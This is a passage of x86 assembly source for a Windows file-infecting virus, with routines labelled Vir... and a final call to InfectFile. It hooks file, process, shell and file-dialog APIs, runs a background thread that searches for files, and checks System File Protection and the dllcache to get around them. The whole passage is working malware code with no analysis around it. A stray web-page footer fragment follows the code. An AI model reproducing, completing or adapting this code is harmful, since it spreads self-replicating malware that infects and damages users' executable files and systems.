retnTrySearchFile_end:  ;Param: esi->source buffer,edi->dest buffer;Return: esi,edi->buffer end,ecx->afte the last '/' or the buffer headVirExtractPath:    cld    mov ecx,ediVirExtractPathLoop:    lodsb    stosb    cmp al,'/'    jnz short VirExtractPathNotBackSlash    mov ecx,ediVirExtractPathNotBackSlash:    or al,al    jnz short VirExtractPathLoop     retnVirExtractPath_end:  ;Return: ZF=0,can't begin search,ZF=1,can begin searchCanSearch:    pushad    call CanSearchIPCanSearchIP:    pop esi     xor edx,edx    mov dl,0SearchSign equ $-1    or dl,dl    jnz short CanSearchRet     call [esi+addrGetTickCount-CanSearchIP]    xor edx,edx     sub eax,12345678hCanSearchTick equ $-4    cmp eax,3*1000 ;3 sec    ja short CanSearchRet    inc edxCanSearchRet:    or edx,edx    popad    retnCanSearch_end:  ;Thread to search a specified pathSearchThread:    call SearchThreadIPSearchThreadIP:    pop ebp     sub esp,1000 SearchThreadDeadLoop:    mov byte ptr [ebp+SearchSign-SearchThreadIP],0     push large -1    push large 12345678hVirEventHandle equ $-4    call [ebp+addrWaitForSingleObject-SearchThreadIP]     mov byte ptr [ebp+SearchSign-SearchThreadIP],1     call [ebp+addrGetTickCount-SearchThreadIP]    mov [ebp+SearchThreadTick-SearchThreadIP],eax     lea esi,[ebp+PathBuf-SearchThreadIP]    mov edi,esp    push edi    push esi    call [ebp+addrFindFirstFileA-SearchThreadIP]    inc eax    jz short SearchThreadDeadLoop    dec eax     push eax ;Handle SearchThreadFindLoop:    pushad    add edi,4*11 ;edi->cFileName     call HookFindHelp    popad     call [ebp+addrGetTickCount-SearchThreadIP]    sub eax,12345678hSearchThreadTick equ $-4    cmp eax,1500 ;continue run for 1500 millionsecond    ja short SearchThreadClose     pop eax    push eax     push edi    push eax    call [ebp+addrFindNextFileA-SearchThreadIP]    or eax,eax    jnz short SearchThreadFindLoop SearchThreadClose:    call [ebp+addrFindClose-SearchThreadIP]     call [ebp+addrGetTickCount-SearchThreadIP]    mov [ebp+CanSearchTick-SearchThreadIP],eax     jmp short SearchThreadDeadLoopSearchThread_end: VirImportTable:    db 'KERNEL32.dll'    db 0,0,'LoadLibraryA'    db 0,0,'GetProcAddress',0VirImportTableStringSize equ $-VirImportTable  VIRAPIDEF macro apiname    db IMPORT_IS_NAME    db apinameendm Kernel32APIName:    db 'kernel32'    VIRAPIDEF 'CreateFileA'    VIRAPIDEF 'CreateFileW'    VIRAPIDEF 'CreateProcessA'    VIRAPIDEF 'CreateProcessW'    VIRAPIDEF 'FindFirstFileA'    VIRAPIDEF 'FindFirstFileW'    VIRAPIDEF 'CopyFileA'    VIRAPIDEF 'CopyFileW'    VIRAPIDEF 'CopyFileExA'    VIRAPIDEF 'CopyFileExW'    VIRAPIDEF 'MoveFileA'    VIRAPIDEF 'MoveFileW'    VIRAPIDEF 'MoveFileExA'    VIRAPIDEF 'MoveFileExW'    VIRAPIDEF 'GetCurrentDirectoryA'    VIRAPIDEF 'GetCurrentDirectoryW'    VIRAPIDEF 'SetCurrentDirectoryA'    VIRAPIDEF 'SetCurrentDirectoryW'    VIRAPIDEF 'GetModuleFileNameA'    VIRAPIDEF 'GetModuleFileNameW'    VIRAPIDEF 'LoadLibraryA'    VIRAPIDEF 'LoadLibraryW'      VIRAPIDEF 'SetEndOfFile'    VIRAPIDEF 'SetFilePointer'    VIRAPIDEF 'GetFileAttributesA'    VIRAPIDEF 'SetFileAttributesA'    VIRAPIDEF 'CloseHandle'    VIRAPIDEF 'GetFileTime'    VIRAPIDEF 'SetFileTime'    VIRAPIDEF 'GetFileSize'     VIRAPIDEF 'CreateFileMappingA'    VIRAPIDEF 'MapViewOfFile'    VIRAPIDEF 'UnmapViewOfFile'    VIRAPIDEF 'OpenFileMappingA'     VIRAPIDEF 'VirtualAlloc'    VIRAPIDEF 'GetTickCount'     VIRAPIDEF 'WideCharToMultiByte'    VIRAPIDEF 'WaitForSingleObject'    VIRAPIDEF 'FindClose'    VIRAPIDEF 'CreateEventA'    VIRAPIDEF 'SetEvent'     VIRAPIDEF 'CreateThread'    VIRAPIDEF 'FindNextFileA'    VIRAPIDEF 'MultiByteToWideChar'     db 0 SfcAPIName:    db 'sfc'    VIRAPIDEF 'SfcIsFileProtected'    db 0 User32APIName:    db 'user32'    VIRAPIDEF 'SendMessageA'    VIRAPIDEF 'GetParent'    db 0 ComDlg32APIName:    db 'comdlg32'    VIRAPIDEF 'GetOpenFileNameA'    VIRAPIDEF 'GetOpenFileNameW'    VIRAPIDEF 'GetSaveFileNameA'    VIRAPIDEF 'GetSaveFileNameW'    db 0 Shell32APIName:    db 'shell32'    VIRAPIDEF 'ShellExecuteA'    VIRAPIDEF 'ShellExecuteW'    VIRAPIDEF 'ShellExecuteExA'    VIRAPIDEF 'ShellExecuteExW'    db 0 HookProcTable:    dw HookGetOpenFileNameA-VirStart    dw HookGetOpenFileNameW-VirStart    dw HookGetSaveFileNameA-VirStart    dw HookGetSaveFileNameW-VirStart     dw HookShellExecuteA-VirStart    dw HookShellExecuteW-VirStart    dw HookShellExecuteExA-VirStart    dw HookShellExecuteExW-VirStart     dw HookCreateFileA-VirStart    dw HookCreateFileW-VirStart    dw HookCreateProcessA-VirStart    dw HookCreateProcessW-VirStart    dw HookFindFirstFileA-VirStart    dw HookFindFirstFileW-VirStart    dw HookCopyFileA-VirStart    dw HookCopyFileW-VirStart    dw HookCopyFileExA-VirStart    dw HookCopyFileExW-VirStart    dw HookMoveFileA-VirStart    dw HookMoveFileW-VirStart    dw HookMoveFileExA-VirStart    dw HookMoveFileExW-VirStart    dw HookGetCurrentDirectoryA-VirStart    dw HookGetCurrentDirectoryW-VirStart    dw HookSetCurrentDirectoryA-VirStart    dw HookSetCurrentDirectoryW-VirStart    dw HookGetModuleFileNameA-VirStart    dw HookGetModuleFileNameW-VirStart    dw HookLoadLibraryA-VirStart    dw HookLoadLibraryW-VirStart HookAPITable:ComDlg32APIAddr:    addrGetOpenFileNameA dd 0    addrGetOpenFileNameW dd 0    addrGetSaveFileNameA dd 0    addrGetSaveFileNameW dd 0 Shell32APIAddr:    addrShellExecuteA dd 0    addrShellExecuteW dd 0    addrShellExecuteExA dd 0    addrShellExecuteExW dd 0 Kernel32APIAddr equ this dword    addrCreateFileA dd 0 ;77e92b8dh    addrCreateFileW dd 0    addrCreateProcessA dd 0    addrCreateProcessW dd 0    addrFindFirstFileA dd 0    addrFindFirstFileW dd 0    addrCopyFileA dd 0    addrCopyFileW dd 0    addrCopyFileExA dd 0    addrCopyFileExW dd 0    addrMoveFileA dd 0    addrMoveFileW dd 0    addrMoveFileExA dd 0    addrMoveFileExW dd 0    addrGetCurrentDirectoryA dd 0    addrGetCurrentDirectoryW dd 0    addrSetCurrentDirectoryA dd 0    addrSetCurrentDirectoryW dd 0    addrGetModuleFileNameA dd 0    addrGetModuleFileNameW dd 0    addrLoadLibraryA dd 0    addrLoadLibraryW dd 0 HookNum equ ($-HookAPITable)/4     addrSetEndOfFile dd 0 ;77e9f044h    addrSetFilePointer dd 0 ;77e9ed4ch    addrGetFileAttributesA dd 0 ;77e8657ah    addrSetFileAttributesA dd 0 ;77e87b77h    addrCloseHandle dd 0 ;77e8a6c8h    addrGetFileTime dd 0 ;77e8b19ah    addrSetFileTime dd 0 ;77e8a372h    addrGetFileSize dd 0 ;77e88854h     addrCreateFileMappingA dd 0 ;77e8d21ah    addrMapViewOfFile dd 0 ;77e8d019h    addrUnmapViewOfFile dd 0 ;77e95efch    addrOpenFileMappingA dd 0 ;77e90ab4h     addrVirtualAlloc dd 0 ;77e90ee2h    addrGetTickCount dd 0 ;77e8c0a6h     addrWideCharToMultiByte dd 0    addrWaitForSingleObject dd 0    addrFindClose dd 0    addrCreateEventA dd 0    addrSetEvent dd 0     addrCreateThread dd 0    addrFindNextFileA dd 0    addrMultiByteToWideChar dd 0 SfcAPIAddr:    addrSfcIsFileProtected dd 12345678h User32APIAddr:    addrSendMessageA dd 0    addrGetParent dd 0 VirEnd: VirSize equ $-VirStart ;Uninitialized data    PathBuf db 1000 dup(?) VirVirtualSize equ $-VirStart  fakeLoadLibraryA dd 77e98023hfakeGetProcAddress dd 77e9564bh dllcache db 'D:/WINNT/systeM32/dLLCache/f',0 host:    mov eax,VirSize    mov eax,HookNum    mov edi,offset dllcache    mov esi,edi    call VirGetStrTail    xor eax,eax    call IsInDllCache    mov eax,HookNum    mov eax,VirSize    push offset strKernel32    call LoadLibraryA    mov esi,eax        push offset strLoadLibraryA    push esi    call GetProcAddress    mov [fakeLoadLibraryA],eax     push offset strGetProcAddress    push esi    call GetProcAddress    mov [fakeGetProcAddress],eax     mov dword ptr [RVALoadLibraryA],offset fakeLoadLibraryA    mov dword ptr [RVAGetProcAddress],offset fakeGetProcAddress    mov edx,offset ImportBuildIP     call GetVirAPIAddress    mov dword ptr [RVALoadLibraryA],0    mov dword ptr [RVAGetProcAddress],0      call [addrGetTickCount]    mov dword ptr [RandSeed],eax     mov edi,offset fn    call InfectFile hostreturn:    push 0    push offset cap    push offset msg     push 0    call MessageBox    push 0    call ExitProcess end host
原创粉丝点击